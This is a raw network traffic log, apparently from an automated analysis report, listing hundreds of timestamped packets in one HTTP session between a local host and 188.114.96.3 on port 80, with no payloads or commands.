Sep 14, 2024 18:44:30.261883974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261892080 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.261933088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261966944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.261976004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262001038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262032032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262042046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262068033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262099981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262115002 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262132883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262165070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262171984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262200117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262237072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262243032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262269974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262300968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262312889 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262335062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262367964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262375116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262402058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262434959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262444019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262469053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262501001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262510061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262536049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262568951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262573957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262603998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262635946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262643099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262670994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262702942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262710094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262737036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262773037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262785912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262819052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262851954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262861967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262887001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262928963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.262937069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.262969017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263008118 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263016939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263050079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263078928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263102055 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263111115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263144970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263149023 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263180017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263214111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263221025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263247013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263278961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263286114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263312101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263345003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263351917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263377905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263422012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263428926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263465881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263498068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263506889 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263530016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263561964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263571978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263593912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263627052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263637066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263662100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263695002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263703108 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263727903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263770103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263777018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263806105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263837099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263854027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263870001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263920069 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.263921976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.263974905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264005899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264025927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264038086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264070988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264075994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264105082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264136076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264149904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264168978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264199972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264216900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264235020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264266014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264273882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264298916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264331102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264342070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264364958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264396906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264410019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264431953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264466047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264475107 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264498949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264527082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264539957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264559031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264595032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264596939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264630079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264662981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264667988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264691114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264722109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264734983 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264754057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264765024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264794111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264827013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264875889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264900923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264908075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264940977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.264941931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.264974117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265001059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265007019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265050888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265083075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265088081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265115023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265122890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265149117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265181065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265197039 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265217066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265249014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265263081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265280962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265312910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265321016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265346050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265377045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265389919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265408039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265439987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265449047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265471935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265503883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265517950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265537024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265567064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265571117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265600920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265631914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265650034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265665054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265697002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265701056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265731096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265762091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265765905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265798092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265829086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265837908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265861988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265893936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265897989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265927076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265954018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.265966892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.265985012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266017914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266021013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266051054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266083002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266086102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266115904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266153097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266165972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266197920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266233921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266236067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266266108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266299963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266303062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266331911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266364098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266366959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266396999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266427994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266432047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266457081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266489029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266494036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266521931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266554117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266561985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266588926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266621113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266627073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266757965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266772985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266788006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266794920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266801119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266817093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266820908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266832113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266846895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266858101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266861916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266881943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266901016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266918898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266921997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266921997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266936064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266951084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266961098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266964912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266980886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.266992092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.266995907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267011881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267019033 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267026901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267041922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267044067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267059088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267072916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267077923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267091036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267105103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267115116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267129898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267143011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267143965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267158031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267173052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267175913 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267196894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267203093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267213106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267229080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267242908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267247915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267260075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267275095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267277002 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267290115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267304897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267304897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267321110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267333984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267337084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267353058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267364979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267365932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267390013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267396927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267406940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267430067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267443895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267456055 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267461061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267474890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267477989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267489910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267505884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267508030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267520905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267534018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267537117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267549992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267565012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267565012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267580986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267596006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267601013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267617941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267632961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267633915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267647982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267663002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267663956 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267678022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267693043 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267693043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267709017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267724037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267729044 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267738104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267754078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267765999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267774105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267780066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267795086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267802954 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267818928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267818928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267836094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267848969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267863989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267868996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267879009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267893076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267906904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267920971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267925024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267925024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267935991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267942905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267951965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267966986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267976999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.267981052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.267997026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268002987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268013000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268027067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.268032074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.268044949 CEST	80	54891	188.114.96.3	192.168.2.7
